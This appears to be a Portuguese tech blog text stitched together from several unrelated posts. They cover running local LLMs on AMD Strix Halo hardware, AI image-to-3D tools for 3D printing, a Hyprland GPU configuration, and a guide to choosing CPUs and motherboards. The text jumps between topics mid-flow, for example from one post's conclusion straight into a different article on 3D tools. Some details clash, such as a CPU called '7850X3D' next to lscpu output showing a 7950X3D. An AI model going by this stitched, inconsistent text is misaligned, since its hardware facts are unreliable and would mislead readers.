Na prática: GDDR7 entrega ~1.792 GB/s dedicados pra GPU. LPDDR5X entrega ~256 GB/s que ainda precisam ser divididos entre CPU e GPU. Inferência de LLM é basicamente “leia todos os pesos do modelo da memória, multiplique pelo token atual, gere o próximo token, repita”. Quem lê mais rápido, gera mais rápido. Não tem atalho.

A vantagem do Strix Halo não é velocidade. É capacidade. 96GB de VRAM num chip de 100W que custa uma fração de uma GPU profissional. A RTX 5090 é 7x mais rápida, mas trava em 32GB. Modelos que não cabem, não rodam.

As alternativas: quem mais faz isso?

Se 96GB não é suficiente ou se você quer mais velocidade, as opções são poucas.

O Framework Desktop usa o mesmo chip AI Max+ 395 com até 128GB de RAM. Mesma plataforma, mesma performance, mas com o diferencial de ser modular e reparável (é o Framework, afinal). Na prática é equivalente ao Minisforum em specs e preço.

Acima disso, a alternativa é o Mac Studio com M3 Ultra. O chip M3 Ultra suporta até 512GB de memória unificada, com bandwidth de ~819 GB/s (mais de 3x o Strix Halo). A Apple fabrica os chips de memória no package, então a latência e a bandwidth são superiores. Você poderia potencialmente alocar ~400GB como VRAM e rodar modelos que não cabem em lugar nenhum fora de servidores com GPUs profissionais.

O NVMe interno da Apple também é outro nível: ~7.4 GB/s de leitura sequencial no M3 Ultra, comparado com ~14 GB/s do Crucial T700 (PCIe 5.0). O T700 é mais rápido em throughput bruto, mas a latência do NVMe da Apple tende a ser menor em I/O aleatório por causa da integração com o SoC.

O preço no Brasil é o elefante na sala. A configuração máxima do Mac Studio custa $9.999 nos EUA. Com impostos de importação (~60% + ICMS estadual), passa dos R$ 110.000. O Minisforum com 128GB sai por R$ 12.000-15.000. A diferença de quase 8x no preço compra muita coisa.

Se você precisa de mais de 96GB de VRAM pra modelos realmente enormes (DeepSeek-V3 com 671B parâmetros cabe em ~400GB Q4, por exemplo), o Mac Studio com 512GB é a única opção consumer. A alternativa seria GPUs profissionais NVIDIA A6000 (48GB VRAM, ~$6.000 cada, e você precisaria de várias em NVLink). Pra tudo que cabe em 96GB, o Minisforum faz o trabalho por uma fração do custo.

E projetos que prometem rodar LLMs grandes em GPUs pequenas?

Existe o conceito de “layer offloading” que projetos como llama.cpp já suportam. A ideia é: se o modelo não cabe inteiro na VRAM, mantém algumas camadas na GPU e o resto na RAM do sistema. A GPU processa as camadas que estão nela, transfere pro CPU processar o resto, e volta.

Na prática, não funciona bem. O gargalo é o PCIe: a velocidade de transferência entre RAM do sistema e VRAM da GPU é de ~32 GB/s (PCIe 5.0 x16). Cada token gerado precisa transferir dados ida e volta. O resultado é que você cai de 150 tok/s (tudo na VRAM) pra 2-8 tok/s (offload parcial). É lento demais pra uso interativo.

A VRAM é a limitação fundamental porque inferência de LLM é memory-bandwidth-bound, não compute-bound. A GPU tem compute sobrando. O que falta é capacidade de ler os pesos do modelo rápido o suficiente. Quando parte dos pesos está em RAM via PCIe, o pipeline inteiro espera pela transferência.

É por isso que memória unificada (como no Strix Halo ou no Apple Silicon) faz diferença. Não tem PCIe no meio. CPU e GPU acessam a mesma memória física. Os 256 GB/s do Strix Halo são lentos comparados com GDDR7, mas são 8x mais rápidos que ficar fazendo offload via PCIe.

Avanços em otimização de LLMs (até 2026)

Pra entender por que alguns modelos rodam tão melhor que outros no Strix Halo, precisa entender o que mudou no ecossistema nos últimos dois anos.

Mixture of Experts (MoE)

Se você roda modelos locais, MoE é o avanço que mais importa. Um modelo MoE tem parâmetros totais altos (ex: 122B no qwen3.5:122b), mas ativa apenas uma fração deles por token (ex: ~4B). Os pesos inativos ficam na VRAM mas não são lidos a cada token, o que reduz drasticamente a bandwidth necessária.

Nos benchmarks do Strix Halo, modelos MoE rodam 3-10x mais rápido que modelos densos do mesmo tamanho. O qwen3.5:35b (MoE, ~4B ativos) roda a 43 tok/s enquanto o qwen2.5:72b (denso, 72B ativos) roda a 4.5 tok/s.

DeepSeek e a otimização de treinamento

O DeepSeek V3 (dezembro 2024) mostrou que era possível treinar modelos de 671B parâmetros com custo uma ordem de magnitude menor que o previsto. Eles combinaram MoE com quantização FP8 durante o treinamento (não só na inferência), treinamento multi-estágio com curriculum learning, e várias otimizações de comunicação entre GPUs. O impacto: todo mundo copiou. Qwen, GLM, MiniMax, todos adotaram variações dessa técnica.

Quantização: de FP16 pra Q4 sem perder muito

Quantização comprime os pesos do modelo de 16 bits (FP16) pra formatos menores: 8 bits (Q8), 4 bits (Q4), ou até 2 bits. Um modelo de 70B que ocuparia ~140GB em FP16 cabe em ~40GB em Q4_K_M. A perda de qualidade existe, mas nos formatos modernos (GGUF Q4_K_M, AWQ, EXL2) é pequena o suficiente pra uso prático.

O GGUF (formato do llama.cpp) se tornou o padrão pra inferência local. AWQ e GPTQ são alternativas com calibração mais sofisticada, mas o ecossistema convergiu pro GGUF porque ele funciona em CPU, CUDA e ROCm sem recompilação.

Destilação: modelos menores que sabem mais

Destilação é treinar um modelo pequeno usando as respostas de um modelo grande como professor. O Phi-4 da Microsoft (14B) foi treinado com destilação do GPT-4 e compete com modelos de 70B em vários benchmarks. O Qwen3 fez o mesmo: o qwen3:14b é surpreendentemente capaz pro tamanho.

Flash Attention e KV Cache otimizado

Flash Attention (Tri Dao, 2022) mudou como attention é computada: em vez de materializar a matriz inteira de attention na memória, processa em blocos mantendo os dados no SRAM on-chip da GPU, reduzindo consumo de memória de O(n²) pra O(n). Sem isso, contextos de 128K+ tokens seriam impraticáveis. Já passou pelas versões 2 e 3, com otimizações pra FP8 e operações assíncronas no H100. O PagedAttention (vLLM, UC Berkeley) fez o mesmo pro KV cache durante serving: aplica conceitos de memória virtual ao cache, eliminando fragmentação e melhorando throughput 2-4x.

No Ollama, eu configurei OLLAMA_FLASH_ATTENTION=1 e OLLAMA_KV_CACHE_TYPE=q8_0 no servidor. O primeiro ativa flash attention, o segundo usa KV cache em 8-bit em vez de fp16, cortando a bandwidth necessária pela metade por token. São otimizações que custam zero em hardware e melhoram throughput mensurável.

O que Qwen, Kimi, MiniMax e GLM estão fazendo

O Qwen (Alibaba) tem sido consistentemente o melhor custo-benefício em modelos open source. O Qwen3:14b é denso e forte; o Qwen3.5:122b é MoE e roda surpreendentemente bem em 96GB. O GLM-4.7 (Zhipu AI) é notável por oferecer versões bf16 full precision que rodam inteiras em 96GB. O MiniMax experimentou com contextos longos (até 4M tokens). O Kimi (Moonshot AI) focou em context windows grandes com arquiteturas lineares.

O que roda bem em 96GB de VRAM

Com 96GB no Strix Halo, os modelos que funcionam bem pra uso diário:

Modelos densos de 70B+ (deepseek-r1:70b, llama3.3:70b) ainda estão bloqueados pelo bug do ROCm que mencionei. Quando for corrigido, devem rodar a ~4-6 tok/s, usáveis pra batch mas não pra chat interativo.

Conclusão

Eu comprei o Minisforum pra rodar modelos que não cabem em GPU gamer nenhuma. Pra isso, funciona. Não é rápido. 19 tok/s num modelo de 122B não é a experiência que você tem com Claude ou ChatGPT. Mas é local, é privado, e roda na minha prateleira consumindo menos energia que uma lâmpada antiga.

Pra quem pergunta sobre o Mac Studio: se você tem orçamento, é a melhor máquina pra rodar LLMs locais. 512GB de memória unificada, 819 GB/s de bandwidth, ecossistema Metal/mlx maduro. Dá pra rodar DeepSeek-V3 inteiro em Q4. Mas no Brasil, com importação, passa dos R$ 110 mil. O Minisforum com 128GB por R$ 12-15 mil é a opção realista.

E pra quem acha que dá pra contornar a limitação de VRAM com offloading de camadas: não dá. PCIe é lento demais. O modelo precisa caber inteiro na VRAM pra inferência ser usável. É o motivo pelo qual GPUs gamers com 32GB de GDDR7 ultra-rápida continuam limitadas em tamanho de modelo, e por que a memória unificada do Strix Halo e do Apple Silicon mudou a equação.

No próximo post eu conto como migrei todo o home server pro Minisforum usando Claude Code, os problemas que encontrei, e como o openSUSE MicroOS se comporta como sistema operacional de servidor Docker.

Mas fui prematuro na conclusão. Opções open source ainda variam bastante em qualidade, maioria não é muito boa, mas as opções comerciais são muito boas e bem estáveis. Não vou listar tudo que existe então fica minha recomendação de dois canais no YouTube pra se manter atualizado:

• PixelArtistry_
• Stefan 3D AI Lab

Na prática, existem vários workflows de ComfyUI pra brincar, como neste tutorial ensinando a usar o recém-lançado modelo Trellis2, da Microsoft. Não funciona perfeito como no video todas as vezes. Depende muito da imagem que se passar. Nos meus testes só consegui uns “blobs” deformados.

Mas no mundo comercial, existem 3 ferramentas que vale criar conta:

• Hunyuan Global, da Tencent. Existe a plataforma em chinês - que é mais completa - e a versão global em inglês que é mais limitada. Mas com ele é possível criar modelos 3D a partir de imagens com qualidade excepcional.
• Hitem3D - é concorrente da Hunyuan, também é excelente pra gerar modelos 3D a partir de imagens. Vale testar nas duas porque dependendendo das imagens que se passar, uma pode resultar melhor que a outra.
• Yvo3D - é uma das mais caras, mas especificamente pra gerar texturas em alta qualidade, parece que é o melhor disparado.

Tem várias outras plataformas e pra se manter atualizado existe o site Top3D.ai com o ranking das melhores ferramentas. A maioria costuma ter planos gratuitos, trial, ou coisas assim, então é bom testar quantas puder. O preço não é “caro” se você é um profissional que vai usar em trabalho pra cliente. Só é caro pra caras com eu, que usam como hobby.

Algumas que vale a pena testar são Hyper3D Rodin, Tripo AI, Prism e SAM 3D. Nos canais de YouTube que recomendei, tem videos sobre eles, então pelo menos assista.

A carta na manga: Nano Banana

O grande truque pra qualquer plataforma, seja open source ou comercial, é começar com imagens de boa qualidade. Imagens de Google Images, ou suas fotos mal tiradas, sempre vai resultar em modelos 3D ruins.

Pra limpar imagens, o jeito mais fácil é ir no Google Nano Banana. É de longe a melhor plataforma de IA pra editar e gerar imagens.

Como exemplo, resolvi partir de uma imagem que minha namorada encomendou pra um artista no Fiverr e que mandamos fazer adesivos pra colar no nosso arcade. Esta imagem:

A primeira coisa que pedi ao Nano Banana foi pra remover o background e separar só a personagem. É o tipo de coisa que antigamente precisaria de Photoshop pra fazer. Olha como fica agora:

(não liguem que tá espelhado, fiquei com preguiça de pegar a imagem certa.)

Enfim, ainda não é o suficiente pra gerar 3D. No caso específico de gerar modelos de personagens, o ideal é ter imagens em “T-Pose”, “pose em T”, que é a pessoa ereta de pé com os braços abertos como Jesus. E ter fotos exatamente de frente, de trás, pela esquerda e pela direita.

E dá pra pedir pro Nano Banana fazer exatamente isso: “generate a front photo of this character in T-Pose, for 3D modeling” e ele vai gerar isso:

Metade do trabalho acabou neste passo. Sem isso não dá pra gerar modelos bons. Agora é só mandar gerar os outros ângulos, como de costas:

Mesma coisa, imagens do ângulo na esquerda, na direita e pronto. Pelo menos 4 imagens consistentes, coerentes, limpas.

Hunyuan Global

Agora é a parte simples. Basta escolher Hunyuan ou Hitem3D. No caso, escolhi Hunyuan:

Só escolher o novo modelo versão 3.0 e mandar gerar com 1.5 milhões de polígonos (sim, é bem pesado, mas depois é só fazer remesh) e opcionalmente mandar gerar texturas (já sabendo que Hunyuan não é bom com texturas).

E olha o resultado. Perfeito! Do jeito que tá já dá pra usar. Como falei, ele não é muito bom com texturas, mas como meu objetivo pra esse teste foi imprimir na minha impressora 3D, não me preocupei com texturas.

Abrindo no Blender, posso colocar um modifier de remesh pra diminuir a resolução de polígonos e converter tudo em quads e fica assim:

E de cara já tentei imprimir e saiu assim:

Fiquei particularmente impressionado com os detalhes: nada torto, nada fora do lugar, mãos com 5 dedos, proporções corretas, detalhes no rosto perfeitos, cabelo perfeito.

Pense nisso: fui do nada, ao IA, a uma impressão 3D física!

E agora que eu tenho esse modelo, posso mandar pro Adobe Mixamo, que é uma ferramenta online pra re-usar poses pré-prontas.

Consigo subir meu modelo, calibrar a armatura/esqueleto e colocar na pose que eu quiser. Eis um exemplo:

No Blender consigo calibrar peso de partes do mesh e outros detalhes pra melhorar a pose, mas os 80% do trabalho já foi feito automaticamente. Com isso consigo fazer animações e muito mais.

Portanto, sim, modelagem 3D já é uma realidade com IA. Existem dezenas de ferramentas pra diferentes casos de uso e especialidades, como geração de texturas, esqueletos, animação.

O principal: comece com uma boa fundação usando Nano Banana como falei, esse é o principal truque pro resto funciona direito. E fiquem sempre de olho na Tencent: o Hunyuan é o modelo mais interessante.

No mundo open source tem o Hunyuan pequeno pra rodar local e agora o Trellis2. Também fiquem de olho em novos workflow que usem esses dois juntos no ComfyUI.

Do meu lado, pra fazer coisas simples que eu quero imprimir em 3D na minha Bambulab X1C, isso já tá mais que excelente!

Hyprland não funciona bem com NVIDIA

Dá pra usar. Mas tem vários probleminhas, em particular com Hyprlock, em particular com DPMS onde eu deixo meu computador em idle, daí ele se bloqueia, e depois de um timeout desliga os monitores pra economizar energia, não ter burn in, etc.

Quando eu tento acordar do sleep, o Hyprlock crasheou e eu preciso ir pra outro TTY pra reiniciar, até fiz um script ~/.local/bin/hypr_unlock.sh assim:

hyprctl --instance 0 'keyword misc:allow_session_lock_restore 1'
hyprctl --instance 0 'dispatch exec hyprlock'

Mas aí desbloqueia e eu vejo que meu Brave crasheou também. A nvidia realmente não gosta que desliguem o monitor enquanto ele tá ativo. Disseram que isso acontecia no Hyprlock 0.9.1 mas eu já estou no 0.9.2 e continua crasheando. Tentei habilitar serviços como nvidia-suspend/resume/hibernate mas nada também.

No fim do dia resolvi que não vale a pena brigar com isso: eu tenho uma AMD 7850X3D e essa CPU tem uma iGPU (GPU integrada), uma AMD Raphael, que pra coisas como renderizar um gerenciador de janelas, é mais do que potente o suficiente.

Primeiro, detectar as GPUs:

❯ ls /dev/dri/by-path
Permissions Size User Date Modified Name
lrwxrwxrwx     - root 21 Jan 15:22   pci-0000:01:00.0-card -> ../card1
lrwxrwxrwx     - root 21 Jan 15:22   pci-0000:01:00.0-render -> ../renderD128
lrwxrwxrwx     - root 21 Jan 15:22   pci-0000:1a:00.0-card -> ../card2
lrwxrwxrwx     - root 21 Jan 15:22   pci-0000:1a:00.0-render -> ../renderD129

Pra saber qual é AMD e qual é NVIDIA só executar:

❯ lspci | grep -i vga
01:00.0 VGA compatible controller: NVIDIA Corporation GB202 [GeForce RTX 5090] (rev a1)
1a:00.0 VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI] Raphael (rev c9)

Pronto, pelo ID de PCI sabemos que card1 é NVIDIA e card2 é AMD. Agora precisa configurar meu ~/.config/hypr/hyprland.conf:

....
# NVIDIA environment variables
env = NVD_BACKEND,direct
#env = LIBVA_DRIVER_NAME,nvidia
env = LIBVA_DRIVER_NAME,radeonsi
#env = __GLX_VENDOR_LIBRARY_NAME,nvidia

# Comment these out when using AMD as primary
#env = __NV_PRIME_RENDER_OFFLOAD,1
#env = __VK_LAYER_NV_optimus,NVIDIA_only

# card1=nvidia, card2=amdgpu (verify with: cat /sys/class/drm/card*/device/uevent)
# AMD first for iGPU primary:
env = AQ_DRM_DEVICES,/dev/dri/card2:/dev/dri/card1

env = ELECTRON_OZONE_PLATFORM_HINT,auto

Eu deixei as configurações específicas de NVIDIA comentadas, nenhuma delas pode estar ativa. Mas a linha mais importante é a do AQ_DRM_DEVICES que lista a ordem pro Hyprland pegar a GPU. Card2/AMD tem que estar primeiro. E pronto, só rebootar e recolocar os cabos HDMI na saída da iGPU.

Com isso eu posso escolher agora dar offload de somente alguns apps da NVIDIA usando Prime. Pra isso primeiro eu criei os script ~/.local/bin/nvidia-load.sh:

#!/bin/bash
__NV_PRIME_RENDER_OFFLOAD=1 __VK_LAYER_NV_optimus=NVIDIA_only __GLX_VENDOR_LIBRARY_NAME=nvidia "$@"

Finalmente, configurei alguns bindings em ~/.config/hypr/bindings.conf:

...
bindd = SUPER SHIFT, B, Blender, exec, ~/.local/bin/nvidia-load.sh blender
bindd = SUPER SHIFT, L, Bambu Studio, exec, ~/.local/bin/nvidia-load.sh bambu-studio
bindd = SUPER SHIFT, P, Blender, exec, ~/.local/bin/nvidia-load.sh plasticity
...

Desta forma, somente os apps Blender, Plasticity e Bambu Studio, que vão primariamente usar a NVIDIA pra renderizar 3D em real time. Todos os outros apps vão abrir na iGPU AMD.

Ferramentas de IA como ComfyUI, Ollama ou LM Studio automaticamente reconhecem a NVIDIA e escolhem lá. E com isso eu também tenho mais VRAM livre pra carregar LLMs.

Se for usar XLibre/X.org, dá pra ficar de boa em NVIDIA. Mas se for usar Wayland, nvidia ainda não é totalmente estável, em particular com Hyprland. Dá menos dor de cabeça colocar uma segunda GPU AMD só pra isso.

Eu recebo dezenas de perguntas iguais quase todos os dias e em resumo todos se parecem com “qual computador recomenda pra mim?” E não existe resposta pra isso. Eu não sei porque alguém pensa que teria uma resposta. Sempre cai no problema de validação que eu tanto explico.

Todo mundo tem que saber todo componente que tem num PC e quais as direrenças e como isso afeta ou não afeta pro seu caso de uso específico. No geral a regra é simples: se tiver dinheiro sobrando, compre o modelo mais caro de todos. Preço é quase sempre proporcional à qualidade do que comprou.

Se não tiver dinheiro sobrando e ainda assim precisa de um PC, compre exatamente o que puder gastar e tire o máximo disso.

CPUs

CPUs basicamente você olha clock base e quantidade de cores. Não vai fugir muito disso. Sempre compre o mais recente, se puder.

Clock base é a velocidade que sua CPU vai performar “normalmente”. Boost clock é nas raras vezes que estiver processando algo pesado, como recompilar a kernel do Linux, ou algum jogo pesado.

Não confundir cores com threads. Cores ou núcleos são componentes físicos na CPU que permitem executar mais de uma thread ao mesmo tempo. Em cima disso existe funcionalidades como Hyperthread, onde otimizamos usando o conceito que raramente todos os cores estão ocupados o tempo todo, então o OS enxerga um core físico como tendo capacidade pra até 2 threads.

Por isso na imagem acima, estamos vendo meu Ryzen 9 7850x3D, que tem 16 cores físicos, aparecendo como se tivesse 32 threads. Mas é impossível usar todas as 32 em 100% de capacidade.

Ter vários aplicativos abertos não significa que cada um vai estar ocupando uma core. O OS move processos entre cores conforme estratégia do Scheduler. Assista minha mini-série sobre Concorrência e Paralismo, Parte 1 e Parte 2. Se for programador, é obrigatório entender isso.

Outras funcionalides que depende da CPU é suporte de PCI Express ou PCIe. Esse é o bus, ou barramento, de comunicação entre a CPU e diversos dispositivos de alta velocidade, como a GPU ou SSD/NVME - já vou falar deles. Vamos entender:

• PCIe 4.0 foi lançado no meio de 2017, então evite comprar CPUs anteriores a isso, vai ser muito mais lento. Ela nasce no AMD Ryzen 3000 e chipset X570. Banda de aproximadamente 2GB/s (~16 GT/s)

• PCIe 5.0 foi lançado no meio de 2019, portanto, se puder, prefira CPUs depois desse ano. Ela nasce no Intel Alder Lake e AMD Ryzen 7000. Banda de aproximadamente 4GB/s (~32 GT/s), sim é o dobro de PCIe 4.0.

Agora dois conceitos importantes. Primeiro PCI Lanes:

• Um “lane” (tipo uma “pista”) é um par de sinais diferenciais TX/RX, tecnicamente falando.
• CPU/chipsets (chipset significa “conjunto de chips”) expõe um número fixo de lanes (varia de 20 a 28, mais que isso gera gargalo no chipset).
• PCIe não varia a quantidade de lanes e sim a banda de cada lane.

Exemplos:

• AMD Ryzen 7000 (AM5): 24 PCIe 5.0 lanes do CPU (16 pro GPU, 4 pra NVMe, 4 pro chipset).
• Intel Alder Lake/Raptor Lake: 16 PCIe 5.0 lanes pra GPU + 4 PCIe 4.0 pra storage.

PCI Lanes são importantes pra GPU e pra NVME. “SSDs” são outro barramento: SATA, depois falo disso. Se o plano é comprar uma GPU moderna e poderosa, tipo uma AMD Radeon 9070 XT ou NVIDIA RTX 5090, vai precisar de PCIe 5.0 com o máximo de lanes e banda disponível pra elas (16 lanes). Isso afeta também a escolha de placa-mãe.

Muita gente pensa em comprar CPUs de servidor, como Intel Xeon ou AMD EPIC. Cuidado. A idéia é tentar achar no eBay um que já tenha sido descartado mas ainda funciona. A “vantagem” é que CPUs de servidor costumam ter muito mais cores do que CPUs nível consumidor.

Um Intel Xeon costuma ter 60 cores/120 threads ou um AMD EPIC costuma ter 96 cores/192 threads, mesmo modelos velhos como um Xeon Platinum/Gold (era Skylake de 2017) tem de 20 a 28 cores. Um AMD EPIC 7001 de 2017 tem 32 cores. Se conseguir achar usado, barato num eBay, não vale a pena?

Na prática: NÃO.

Só pra usos muito específicos. Por exemplo, se for montar um servidor de armazenamento, um NAS, com ZFS, que tira vantagem de múltiplos cores, precisa de MUITA RAM, mas a banda pros discos não precisa ser absurdamente grande. Vamos ver as desvantagens:

• esses CPUs velhos que tem preços considerados “acessíveis” vão ser de 2017 pra trás, ou seja, PCIe 3.0, banda mais lenta por lane.
• base clock vai ser baixo. Num CPU médio, fica acima de 2Ghz, num antigo vai ser abaixo de 2Ghz. Um com CPU hoje tem base clock de 4Ghz.
• alto TDP (Thermal Design Power). Na prática, vai ser mais lento e ainda assim vai consumir mais energia e dissipar MUITO calor. Ou seja, são altamente ineficientes hoje.
• não basta ter a CPU barata, elas precisam de placas-mãe específicas com sockets LGA 3647, SP3, SP5. São caras e não são formato ATX, então não cabem em qualquer gabinete.
• RAM precisa ser ECC RDIMM/LRDIMM. ECC significa Error Correction Code. São RAMs mais caras que garantem que não vai existir bits corrompidos, por isso são obrigatórios em servidores. Nível consumidor não precisa disso. Nas raras vezes que RAM corromper, vai dar uma tela azul e você só reboota. Por isso são mais baratas também.
• Não tem várias funcionalidades comuns em CPUs pra consumidores. Não tem iGPU (GPU integrada), não dá pra fazer nenhum tipo de overclocking, tem suporte mais fraco a AVX 512 (vai ter problemas com video, áudio modernos).

De novo, só vale a pena se você sabe exatamente todos os detalhes e tem uma aplicação MUITO específica em mente que tire vantagem desse tipo de CPU e não vai sentir falta do que ele não tem. Se você é amador, nem tente.

Na prática, eu dou preferência a CPUs AMD. A série Ryzen tem seguidamente sido bem eficiente. A nomenclatura de nomes de CPUs é coisa que marketeiro adora criar confusão, porque quanto mais confusão, mais fácil enganar consumidor. Isso vai ser um tema constante neste artigo, prestem atenção.

Depende de cada nova arquitetura, mas em geral:

Nomenclaturas AMD

Formato: Ryzen [3/5/7/9] [####] [sufixo]

• Tier (3 / 5 / 7 / 9): performance class.

  • Ryzen 3: entry (4–6 cores).
  • Ryzen 5: midrange (6–8 cores).
  • Ryzen 7: high-end (8–12 cores).
  • Ryzen 9: enthusiast (12–16 cores desktop; até 64 cores no Threadripper/EPYC).

• Primeiro Dígito: geração/arquitetura.

  • 1 = 1st gen (2017, Zen),
  • 5 = 5th gen (Zen 3),
  • 7 = 7000 series (Zen 4),
  • 9 = 9000 series (Zen 5).

• Dígitos do Meio: modelo dentro da geração. Maior = mais rápido (ex., 7600 vs 7900).

• Sufixos:

  • X = higher TDP, higher clocks.
  • G = integrated GPU.
  • X3D = 3D V-Cache (bom pra games).
  • HS / U / HX (mobile) = laptop power targets (U = ultra-low, HS = balanced, HX = high-performance).

Nomenclaturas Intel

• Formato Antigo (pre-2024): Core i3/i5/i7/i9-#### [sufixo]

  • i3 / i5 / i7 / i9 = entrada → alto nível.

• Dígitos:

  • Primeiro = geração (e.g. i7-8700 = 8th gen).
  • Resto = SKU dentro da geração (8700 vs 8700K).

• Sufixos:

  • K = desbloqueado (overclockable).
  • F = sem iGPU.
  • KF = desbloqueado + sem iGPU.
  • T = baixa energia.
  • H / HK = laptop alta-performance.
  • U / Y = ultra-baixa energia.

• Novo Formato (2024+, Meteor Lake / Arrow Lake):

  • Core Ultra 5 / 7 / 9 (drops “i”).
  • Mesmos tiers: Ultra 5 = midrange, Ultra 9 = top.
  • Adiciona sufixos “H/U” pra classe de energia de laptop.

Eu tenho uma “antiga” (ainda muito performática) Ryzen 9 7850X3D que é Zen 4, 16 cores/32 threads, 3D V-Cache que é bom pra jogos. O equivalente mais novo é a 9850X3D, que é arquitetura mais nova Zen 5 (está pra sair Zen 6).

No mundo notebook, mobile/console/handhelds saiu a linha Ryzen AI MAX/MAX+ que tem CPU+GPU+NPU integradas na onda de acelerar tarefas de redes neurais, rodar pequenos modelos de IA. A Ryzen AI Max+ 395 é Zen 5, integrada com GPU Radeon, até 40 CUs (mais ou menos equivalente da AMD a Nvidia Cuda Cores). A vantagem é ter acesso a mais RAM/VRAM pra carregar modelos mais pesados, mas não vai ser rápido porque CPU desktop ainda é melhor, obviamente. Em notebook você sempre vai estar limitado por solução térmica.

O maior problema de consoles/notebooks/handhelds é que não dá pra fornecer tanta energia (TGP) quanto desktop porque não tem pra onde dissipar tanto calor. Por isso notebook sempre vai ser mais limitado do que desktop. Isso dito, se puder pagar, recomendo a Ryzen AI Max, parecem bons chips mesmo.

Se tem dúvidas sobre sua CPU e estiver num Linux, dá pra checar assim:

❯ lscpu
Architecture:                x86_64
  CPU op-mode(s):            32-bit, 64-bit
  Address sizes:             48 bits physical, 48 bits virtual
  Byte Order:                Little Endian
CPU(s):                      32
  On-line CPU(s) list:       0-31
Vendor ID:                   AuthenticAMD
  Model name:                AMD Ryzen 9 7950X3D 16-Core Processor
    CPU family:              25
    Model:                   97
    Thread(s) per core:      2
    Core(s) per socket:      16
    Socket(s):               1
    Stepping:                2
    Frequency boost:         enabled
...

De curiosidade, já expliquei isso neste video mas, apesar da arquitetura ser 64-bits, note como endereços de memória são 48 bits, porque nem existe forma em hardware de conseguir ter tanta RAM pra precisar de 64-bits. Então é mais eficiente economizar transistor e usar um endereço menor.

Também expliquei as nuances de se ter muitos cores e como Cache L3 influencia seu funcionamento no artigo de GPU Passthrough

Placas-mãe

Esse é outro buraco de coelho desgraçado. Eu mesmo tenho dificuldades de escolher. Cada modelo de CPU tem diversas opções de placa-mãe. Você tem que escolher uma que é compatível com sua CPU (que tem socket que encaixa, na prática) e, de preferência, quando sair a próxima versão de CPU, seja possível fazer upgrade.

Isso depende do ano em que está comprando. Se estiver no começo de um ciclo de arquitetura de CPU, ainda deve vir novas CPUs da mesma arquitetura por alguns anos. Se estiver no fim de um ciclo, arrisca comprar uma CPU e placa-mãe que vai ficar obsoleta no ano que vem. Quando quiser dar upgrade, vai ter que trocar os dois. Isso não tem guia, você tem que procurar o roadmap da Intel e AMD pra checar.

Por exemplo, ano que vem a Intel vai lançar a nova arquitetura Nova Lake pra substituir o Arrow Lake. Possivelmente não vai funcionar em placas-mãe atuais, não sei ainda.

Notebooks você não tem esse problema porque não existe upgrade de CPU. Quando sair um novo, se troca o notebook inteiro mesmo.

Placas-mãe você começa escolhendo o FORMATO. O mais comum pra gabinetes de torre, aqueles que se vê no Instagram de gamers com RGB pra lá e pra cá costumam ser o tamanho grande, que é ATX.

Mas existem outros formatos. Tem um maior que é “Extended ATX”, tem um menor que é “Micro-ATX”, tem menor ainda que é “micro-ITX”. Eu nunca vi mas parece que ainda tem uma maior de todas que é “XL-ATX”. Mini-PCs que vem tudo integrado tem placas-mãe proprietárias de cada fabricante, como Minisforum ou Beelink, que vou falar na última seção mais pra baixo.

Quanto menor a placa-mãe, menos funcionalidades vai ter, em resumo costuma ser: menos slots de PCIe (acaba sobrando só uma pra GPU, normalmente). Menos slots de RAM.

Daí vai depender de que gabinete vai escolher, que espaço tem em cima ou embaixo da sua mesa. Na prática, se não entende nada disso, compre ATX. Vai dar menos dor de cabeça. Boas marcas de gabinete costumam ser Lian Li ou Fractal, mas tem dezenas por aí, tem que prestar muita atenção na montagem, encaixes, funcionalidades, etc. Tamanho de radiador de AIO, coolers, tamanho da placa-gráfica, etc.

Mini-ITX é só pra quem sabe o que está fazendo. Eis um exemplo da Fractal:

Tem três problemas principais: não cabe qualquer placa-gráfica. não cabe qualquer fonte (power supply/PSU), precisa de muito mais ventilação/solução térmica (porque não tem espaço pra dissipar o calor dentro).

Alguém vai chegar e comentar “ah, só colocar resfriamento com água”. Não é tão simples assim.

Resfriamento a água (AIO) precisa de manutenção, usar bons líquidos de resfriamento (não necessariamente água, tem dissipadores melhores hoje). E depende do modelo, porque tem tanque de líquido, tem canos por onde esse líquido passa, portanto OCUPA MUITO MAIS ESPAÇO. Em um gabinete ATX funciona, em ITX raramente.

Além disso, veja o tamanho de uma RTX 5090:

Essa é da MSI. Mas tem outros integradores como Gigabyte, Gamerock, Zotac, a Founders Edition da própria NVIDIA e outros. Cada um vai ter um formato e tamanho diferentes, precisa pesquisar exatamente o modelo, de qual fabricante, com qual gabinete que vai caber. Mesmo em gabinetes ATX, nem sempre cabe na horizontal. Além de ocupar o espaço de 2 slots (série 40) ou 3 slots (série 50) na vertical.

Além disso tem que pensar: você quer uma workstation de trabalho pra coisas como edição de video? Precisa ver se sua placa-mãe já vem com pelo menos Ethernet 2.5 Gbps, idealmente 10 Gbps. A maioria dos populares ainda está com o obsoleto 1 Gbps.

Pra maioria das pessoas, que só tem plano de internet abaixo de 1Gbps, não tem problema, nem vai saturar a banda. Mas quem trabalha com video precisa ter streaming de video PESADO, estou falando acima de 100 GB por hora de video, múltiplos videos na timeline, tocando ao mesmo tempo. Menos em 2.5 Gbps fica difícil editar em tempo real de playback.

Se acabar comprando uma placa-mãe velha com 1 Gbps de Ethernet, vai precisa comprar uma placa de rede PCIe separada. Só que se estiver usando um formato mini-ITX, não vai ter espaço ou nem vai ter slot extra pra plugar isso. Por isso tem que planejar o uso com antecedência.

A minha é velha, é uma X670E AORUS XTREME:

É formato ATX e tem quase todas as funcionalidades que preciso, incluindo porta Ethernet 2.5Gbps. Mas como eu quis colocar um roteador 10Gbps e também coloquei upgrade de 10Gbps no meu NAS Synology DS1821+, resolvi adicionar uma placa PCIe de Ethernet 10Gbps. Como é formato ATX, mesmo com minha RTX 4090 ocupando espaço de 2 slots na vertical, ainda sobra espaço embaixo.

Tem dúvida de qual é sua placa-mãe? Se estiver num Linux tem este comando:

❯ sudo dmidecode -t baseboard
# dmidecode 3.6
Getting SMBIOS data from sysfs.
SMBIOS 3.7.0 present.

Handle 0x0002, DMI type 2, 15 bytes
Base Board Information
 Manufacturer: Gigabyte Technology Co., Ltd.
 Product Name: X670E AORUS XTREME
 Version: x.x
 Serial Number: Default string
 Asset Tag: Default string
 Features:
  Board is a hosting board
  Board is replaceable
 Location In Chassis: Default string
 Chassis Handle: 0x0003
 Type: Motherboard
 Contained Object Handles: 0
...

Acho que sudo dmidecode -t system faz a mesma coisa.

